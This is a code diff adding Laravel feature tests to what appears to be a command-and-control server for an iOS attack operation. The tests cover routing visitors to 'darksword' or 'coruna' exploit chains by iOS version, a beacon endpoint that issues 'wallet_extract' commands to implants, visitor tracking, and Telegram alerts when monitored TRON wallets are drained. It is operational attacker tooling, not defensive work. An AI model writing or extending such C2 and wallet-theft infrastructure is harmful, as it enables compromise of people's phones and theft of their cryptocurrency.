->assertJsonPath('band.usable_for_attempt', true);
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
|
||||
@@ -110,6 +111,20 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
|
||||
$this->getJson('/api/ds/chain-targets?ios='.$ios)
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'coruna')
|
||||
->assertJsonPath('recommended_worker', '')
|
||||
->assertJsonPath('band.usable_for_attempt', false);
|
||||
}
|
||||
|
||||
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
||||
$this->get('/log.html?text=lab')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
||||
@@ -598,6 +613,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$resp = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => $type,
|
||||
@@ -683,6 +699,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
@@ -2,12 +2,15 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\RecordPageHit;
|
||||
use App\Models\Admin;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -66,13 +69,19 @@ class PageVisitTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
|
||||
public function hit_marks_darksword_only_for_allowlisted_ios(): void
|
||||
{
|
||||
$cases = [
|
||||
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
|
||||
['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
|
||||
['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
|
||||
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
|
||||
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
|
||||
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
|
||||
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
|
||||
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
|
||||
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
|
||||
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
|
||||
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
|
||||
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
|
||||
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
|
||||
];
|
||||
foreach ($cases as [$token, $chain, $osVersion]) {
|
||||
@@ -128,6 +137,15 @@ class PageVisitTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function canonical_ios_version_strips_trailing_zero_patch(): void
|
||||
{
|
||||
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5'));
|
||||
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5.0'));
|
||||
$this->assertSame('18.6.1', PageVisit::canonicalIosVersion('18.6.1'));
|
||||
$this->assertTrue(PageVisit::isDarkSwordIosVersionString('18.5.0'));
|
||||
$this->assertFalse(PageVisit::isDarkSwordIosVersionString('18.5.1'));
|
||||
}
|
||||
|
||||
public function visitor_uid_is_stable_for_domain_and_ip(): void
|
||||
{
|
||||
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
|
||||
@@ -217,6 +235,42 @@ class PageVisitTest extends TestCase
|
||||
$this->assertSame(0, PageVisit::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_queues_record_when_queue_is_not_sync(): void
|
||||
{
|
||||
Cache::flush();
|
||||
Queue::fake();
|
||||
config(['queue.default' => 'redis']);
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => self::CHANNEL,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, PageVisit::query()->count());
|
||||
Queue::assertPushed(RecordPageHit::class, function (RecordPageHit $job) {
|
||||
return ($job->attrs['channel_id'] ?? null) === self::CHANNEL;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function show_alias_serves_channel_details_without_store_cache(): void
|
||||
{
|
||||
$ver = '8.8.88';
|
||||
$dir = public_path('channel/'.$ver.'/details');
|
||||
File::ensureDirectoryExists($dir);
|
||||
file_put_contents($dir.'/show.html', 'SHOW_ALIAS_BODY');
|
||||
try {
|
||||
$response = $this->get('/c/'.$ver.'/show.htm')
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'application/octet-stream')
|
||||
->assertHeader('Cache-Control', 'max-age=60, public');
|
||||
$this->assertSame('SHOW_ALIAS_BODY', $response->streamedContent());
|
||||
} finally {
|
||||
File::deleteDirectory(public_path('channel/'.$ver));
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function user_agent_parser_handles_chrome_ios(): void
|
||||
{
|
||||
|
||||
@@ -248,6 +248,65 @@ class TokenviewWebhookTest extends TestCase
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_notifies_native_trx_when_token_symbol_omitted(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => '']);
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/v1/accounts/')) {
|
||||
return Http::response([
|
||||
'data' => [[
|
||||
'balance' => 12_000_000,
|
||||
'trc20' => [],
|
||||
]],
|
||||
'success' => true,
|
||||
], 200);
|
||||
}
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
|
||||
return Http::response(['ok' => true], 200);
|
||||
});
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
|
||||
$addr = $this->seedMonitoredAddress([
|
||||
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
|
||||
'chain_type' => 'TRON',
|
||||
'trx' => 15.0,
|
||||
'usdt' => 0,
|
||||
'eth' => null,
|
||||
]);
|
||||
|
||||
$payload = [
|
||||
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
|
||||
'txid' => '02af07be47430d0b1db32962f3036ff75afc1114444a928c44e258cd332c0d0e',
|
||||
'time' => 1788200361,
|
||||
'confirmations' => 1,
|
||||
'value' => '-3',
|
||||
'coin' => 'TRX',
|
||||
'height' => 85842934,
|
||||
'network' => 'TRX',
|
||||
];
|
||||
|
||||
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||
|
||||
$this->assertSame(1, TokenviewEvent::query()->count());
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额转出')
|
||||
&& str_contains($text, '-3 TRX');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user